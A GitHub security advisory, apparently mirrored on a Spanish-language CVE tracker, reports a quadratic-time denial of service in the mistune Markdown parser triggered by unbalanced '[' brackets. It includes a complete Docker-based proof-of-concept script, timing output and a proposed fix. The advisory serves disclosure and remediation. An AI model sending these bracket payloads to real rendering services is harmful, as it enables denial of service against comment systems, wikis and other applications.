GHSA-X2GR-6QF2-FC9X
mistune: quadratic-time DoS in inline link parser on unbalanced [
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-X2GR-6QF2-FC9X divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 3.3.0 | mistune · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
mistune: quadratic-time DoS in inline link parser on unbalanced `[`
Summary
mistune 3.x (verified on 3.2.1, the latest release) parses Markdown containing
unbalanced `[` / `![` characters in O(n²) time: a small, unauthenticated input
of `n` opening brackets forces `n` forward scans over the remaining text. This
lets an attacker make a worker spend minutes of CPU on a few tens of kilobytes
of input rendered through the default public API, in both `escape=True` and
`escape=False` configurations. Likely **CWE-1333 (Inefficient Regular
Expression / algorithmic complexity) leading to CWE-400 (Uncontrolled
Resource Consumption)**.
Details
When the inline parser meets a `[` (or `![`), it tries to read the link text.
The fast, bounded label path fails on unbalanced brackets, so it falls back to
`parse_link_text`, which walks the remaining input bracket-by-bracket looking
for the matching `]`.
`src/mistune/helpers.py:110-133` (tag `v3.2.1`):
def parse_link_text(src: str, pos: int) -> Union[Tuple[str, int], Tuple[None, None]]:
level = 1
found = False
start_pos = pos
while pos < len(src):
m = _INLINE_SQUARE_BRACKET_RE.search(src, pos) # scans to next [ or ]
if not m:
break
pos = m.end()
marker = m.group(0)
if marker == "]":
level -= 1
if level == 0:
found = True
break
else:
level += 1
...
return None, NoneFor an input of `n` consecutive `[` with no `]`, this loop walks every
remaining bracket — O(n) work — and then returns `None` (no link). The driving
scan in `src/mistune/inline_parser.py:332-359` then advances the cursor by one
character and re-enters at the next `[`, which runs `parse_link_text` again over
the rest of the string. `n` opening brackets therefore cost
O(n) + O(n−1) + … = O(n²) total. `parse_link` invokes this fallback at
`src/mistune/inline_parser.py:129`.
In-repo asymmetry. The sibling label path is explicitly length-bounded:
`LINK_LABEL = r"(?:[^\\\[\]]|\\.){0,500}"` at `src/mistune/helpers.py:10`, used
by `_INLINE_LINK_LABEL_RE` at `src/mistune/helpers.py:101`. The
`parse_link_text` fallback has no such bound and scans to end of input. The
codebase already establishes the convention of capping bracket scanning; it is
simply missing on this path.
The affected function is reachable from every documented entry point
(`mistune.html`, `mistune.create_markdown(...)`, `Markdown.parse`) because it
lives in the shared core inline parser; no plugin or non-default option is
required.
PoC
Self-contained; runs entirely in Docker against the pinned PyPI release. The
input is fed through the public rendering API exactly as a consumer renders
untrusted Markdown — nothing untrusted is executed; the demonstrated effect is
CPU time. `control` is benign text of identical length (linear); `exploit` is
the same number of bytes as unbalanced `[` (quadratic).
`Dockerfile`:
# Pinned to the exact released version under audit. Installed from PyPI,
# never built from a local working tree.
FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir mistune==3.2.1
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]`poc.py`:
#!/usr/bin/env python3
"""
PoC: Quadratic-time (O(n^2)) denial of service in mistune's inline link parser.
control = a benign Markdown string of identical byte length (parses linearly)
exploit = the same number of bytes filled with unbalanced '[' brackets
"""
from __future__ import annotations
import time
import mistune
RENDERERS = {
"mistune.html() [escape=False, default]": mistune.html,
"create_markdown() [escape=True, safe mode]": mistune.create_markdown(),
}
SIZES = [1000, 2000, 4000, 8000] # doublings: quadratic ~4x each, linear ~2x
HEADLINE_N = 16000 # one larger point to make the cost concrete
def control_input(n: int) -> str:
return "a" * n
def exploit_input(n: int) -> str:
return "[" * n
def timed(render, text: str) -> float:
start = time.perf_counter()
render(text)
return time.perf_counter() - start
def main() -> int:
print("mistune version:", mistune.__version__)
confirmed = True
for label, render in RENDERERS.items():
print(f"\n== {label} ==")
print(f" {'n':>7} {'control (ms)':>14} {'exploit (ms)':>14} "
f"{'exploit vs prev':>16}")
prev = None
ratios = []
last_c = last_e = 0.0
for n in SIZES:
c_ms = timed(render, control_input(n)) * 1000.0
e_ms = timed(render, exploit_input(n)) * 1000.0
if prev:
r = e_ms / prev
ratios.append(r)
ratio_s = f"{r:.2f}x"
else:
ratio_s = "-"
print(f" {n:>7} {c_ms:>14.2f} {e_ms:>14.2f} {ratio_s:>16}")
prev, last_c, last_e = e_ms, c_ms, e_ms
avg_ratio = sum(ratios) / len(ratios) if ratios else 0.0
amp = last_e / max(last_c, 1e-3)
print(f" mean per-doubling growth: {avg_ratio:.2f}x "
f"(linear≈2.0x, quadratic≈4.0x)")
print(f" amplification at n={SIZES[-1]}: exploit is {amp:,.0f}x slower "
f"than equal-length benign input")
if not (avg_ratio > 3.0 and amp > 200):
confirmed = False
e_ms = timed(mistune.html, exploit_input(HEADLINE_N)) * 1000.0
c_ms = timed(mistune.html, control_input(HEADLINE_N)) * 1000.0
print(f"\n== headline (mistune.html, n={HEADLINE_N}, ~{HEADLINE_N//1000} KB) ==")
print(f" benign {HEADLINE_N}-byte input: {c_ms:>10.1f} ms")
print(f" exploit {HEADLINE_N}-byte input: {e_ms:>10.1f} ms "
f"({e_ms / max(c_ms, 1e-3):,.0f}x slower)")
print(" (quadratic growth means ~50 KB takes minutes of CPU on one core)")
print("\n== VERDICT ==")
if confirmed:
print(" CONFIRMED: unbalanced '[' input is parsed in O(n^2) time through")
print(" the documented public API, in both default and safe-mode")
print(" configurations, while equal-length benign input stays linear.")
return 0
print(" NOT REPRODUCED")
return 1
if __name__ == "__main__":
raise SystemExit(main())`test.sh`:
#!/bin/sh
set -e
echo "=== Version under test ==="
pip show mistune 2>/dev/null | grep -E '^(Name|Version):'
echo
python3 /poc/poc.pyBuild and run:
docker build -t mistune-linktext-dos-poc ./poc
docker run --rm mistune-linktext-dos-pocObserved output (`mistune 3.2.1`):
=== Version under test ===
Name: mistune
Version: 3.2.1
mistune version: 3.2.1
== mistune.html() [escape=False, default] ==
n control (ms) exploit (ms) exploit vs prev
1000 0.91 62.77 -
2000 0.06 235.78 3.76x
4000 0.11 955.49 4.05x
8000 0.21 3839.09 4.02x
mean per-doubling growth: 3.94x (linear≈2.0x, quadratic≈4.0x)
amplification at n=8000: exploit is 17,915x slower than equal-length benign input
== create_markdown() [escape=True, safe mode] ==
n control (ms) exploit (ms) exploit vs prev
1000 0.87 66.51 -
2000 0.39 262.35 3.94x
4000 0.75 973.54 3.71x
8000 1.62 3970.80 4.08x
mean per-doubling growth: 3.91x (linear≈2.0x, quadratic≈4.0x)
amplification at n=8000: exploit is 2,451x slower than equal-length benign input
== headline (mistune.html, n=16000, ~16 KB) ==
benign 16000-byte input: 0.5 ms
exploit 16000-byte input: 16030.4 ms (31,059x slower)
(quadratic growth means ~50 KB takes minutes of CPU on one core)
== VERDICT ==
CONFIRMED: unbalanced '[' input is parsed in O(n^2) time through
the documented public API, in both default and safe-mode
configurations, while equal-length benign input stays linear.The result is deterministic in character: per-doubling time grows ~4x (the
signature of O(n²)) while equal-length benign input stays in the sub-millisecond
range. Absolute milliseconds vary with hardware; the growth ratio does not.
Impact
Unauthenticated denial of service against any application that renders
attacker-supplied Markdown with mistune — comment systems, wikis, chat, issue
trackers, note apps, SaaS preview endpoints. The trigger is a short ASCII string
of `[` characters with no special headers or options, and it fires in the
default configuration through the top-level `mistune.html` API as well as the
`escape=True` safe-mode renderer. Because cost is quadratic, an attacker scales
the damage cheaply: ~16 KB ties up a core for ~16 s here, and ~50 KB runs for
minutes; a handful of concurrent requests can exhaust a render pool.
Proposed severity: High, CVSS 3.1
`AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = 7.5. Scope is Unchanged (the impact
stays within the rendering process). For consumers that require authentication
before accepting Markdown, the conservative variant `PR:L`
(`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`) = 6.5 applies. This is proposed, not
asserted; the maintainer is best placed to judge the typical deployment.
Recommended fix
Bound the fallback scan so it cannot exceed linear total cost, mirroring the
existing `LINK_LABEL = {0,500}` cap already used on the label path
(`src/mistune/helpers.py:10`). For example, cap the number of brackets / total
distance `parse_link_text` will walk before giving up (returning `None` once a
reasonable link-text length is exceeded), or have the inline driver avoid
re-running the full forward scan from each subsequent unmatched `[`. Either
keeps valid links working while removing the quadratic blowup. The maintainer
makes the final call on the exact bound.
References
- CWE-1333 — https://cwe.mitre.org/data/definitions/1333.html
- CWE-400 — https://cwe.mitre.org/data/definitions/400.html
- Affected source (tag `v3.2.1`): `src/mistune/helpers.py:110-133` (sink),
- Novelty: distinct from the published link-*title* DoS advisories
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimistune |
Corregida | 3.3.0 | 0 d | 3.4.0 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/lepture/mistune/security/advisories/GHSA-x2gr-6qf2-fc9xLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
